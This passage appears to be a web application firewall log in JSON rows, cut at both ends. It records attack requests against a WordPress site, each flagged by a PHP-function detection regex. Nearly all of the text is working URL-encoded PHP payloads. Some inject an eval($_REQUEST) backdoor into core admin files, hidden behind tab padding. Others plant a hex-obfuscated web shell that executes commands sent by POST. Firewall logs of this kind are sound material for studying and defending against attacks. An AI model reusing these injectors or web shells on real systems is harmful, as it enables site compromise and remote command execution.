3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\nef=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:42","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:2076\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:42:44","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2053\n\nCH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-themes-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527lnsZUC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:47","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nNA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:51","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ys:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%